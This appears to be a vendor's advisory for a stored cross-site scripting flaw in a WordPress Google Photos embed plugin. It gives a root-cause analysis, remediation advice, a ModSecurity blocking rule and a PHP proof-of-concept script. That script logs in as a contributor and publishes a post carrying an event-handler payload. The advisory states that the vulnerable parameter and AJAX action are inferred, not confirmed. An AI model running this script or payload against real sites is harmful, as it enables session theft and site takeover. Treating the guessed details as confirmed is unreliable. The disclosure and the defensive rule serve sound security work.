Opens in a new tab
Published : November 15, 2026

CVE-2026-14290: Embed Google Photos Album Easily <= 2.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.1
Patched Version —
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14290 (metadata-based): This is a stored cross-site scripting vulnerability in the Embed Google Photos Album Easily plugin for WordPress, affecting versions up to and including 2.2.1. The vulnerability allows authenticated users with contributor-level access and above to inject arbitrary web scripts into pages, which execute when any user visits the injected page. The CVSS score is 6.4, reflecting a network-based attack with low complexity and low privileges required, but with a scope change and limited impact on confidentiality and integrity.

Root cause: Based on CWE-79 and the description, the plugin fails to properly sanitize user input before storing it and fails to escape output when rendering the album embed. Atomic Edge infers that a shortcode or block attribute (such as album ID, layout parameters, or custom CSS) accepts user-supplied data and saves it to the database without adequate sanitization. When the page is later viewed, the data is output without escaping, leading to script execution. The exact vulnerable parameter and code path are not confirmed because no source code diff is available. The vulnerability is classified as stored XSS because the payload persists in the WordPress database (likely in post meta or post content).

Exploitation: An attacker with contributor access can craft a new post or page containing the plugin’s shortcode (likely something like [google_photos_album id=”…”] or a Gutenberg block) with a malicious payload in an attribute that is not sanitized. For example, injecting a script tag or event handler into an album identifier or custom style attribute. Alternatively, if the plugin provides an AJAX action for saving settings, the attacker could send a POST request to /wp-admin/admin-ajax.php with action=embed_google_photos_album_save (inferred) and a parameter containing the script. The payload executes when an administrator or any visitor views the post. The attack vector is network-based and requires authentication.

Remediation: The fix requires proper input sanitization on save and output escaping on render. For shortcode attributes, use functions like sanitize_text_field, esc_attr, or wp_kses with a restricted set of allowed HTML tags. For output, use esc_html, esc_attr, or wp_kses_post as appropriate. The plugin should also enforce capability checks and nonce verification for any AJAX handlers or form submissions. Since no patched version is available, site owners should consider disabling the plugin or applying virtual patching.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive information (such as authentication cookies), privilege escalation (if an administrator views the page), and defacement of the website. The scope change indicates that the vulnerable component (plugin) impacts other components (the entire WordPress site), increasing the severity. The CVSS score of 6.4 reflects moderate risk due to the requirement for authentication and user interaction (victim visiting the page).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026142901,phase:2,deny,status:403,chain,msg:'CVE-2026-14290 via embed-google-photos-album-easily AJAX',severity:'CRITICAL',tag:'CVE-2026-14290'"
  SecRule ARGS_POST:action "@rx embed_google_photos_album" "chain"
    SecRule ARGS_POST "@detectXSS" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14290 - Embed Google Photos Album Easily <= 2.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

// This PoC assumes the plugin uses a shortcode like [google_photos_album id="..."] or a similar attribute.
// The attacker must have contributor-level access or higher.
// The payload is injected into a new post and will execute when the post is viewed.

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor'; // Contributor username
$password = 'password'; // Contributor password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new post with malicious shortcode
// The payload injects a script tag into the album ID attribute.
// This is inferred; the actual vulnerable parameter may differ.
$post_title = 'XSS PoC';
$post_content = '[google_photos_album id="1" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%""]';

$post_data = array(
    'post_title' => $post_title,
    'content' => $post_content,
    'post_status' => 'publish', // Contributor posts are typically pending, but some setups allow publish
    'post_type' => 'post',
    'action' => 'editpost',
    'post_ID' => 'new',
    '_wpnonce' => '' // Nonce may be required; if so, the attacker must extract it from the new post page
);

// If nonce is required, we need to fetch the new post page first to extract it.
// For simplicity, this PoC assumes nonce is not enforced or we bypass it.

$new_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Extract nonce (simplified; actual extraction depends on WordPress version)
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    $post_data['_wpnonce'] = $matches[1];
}

// Submit the new post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: The post is created. When an admin views it, the script executes.
echo "PoC sent. Check if the post was created and visit it as an admin.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.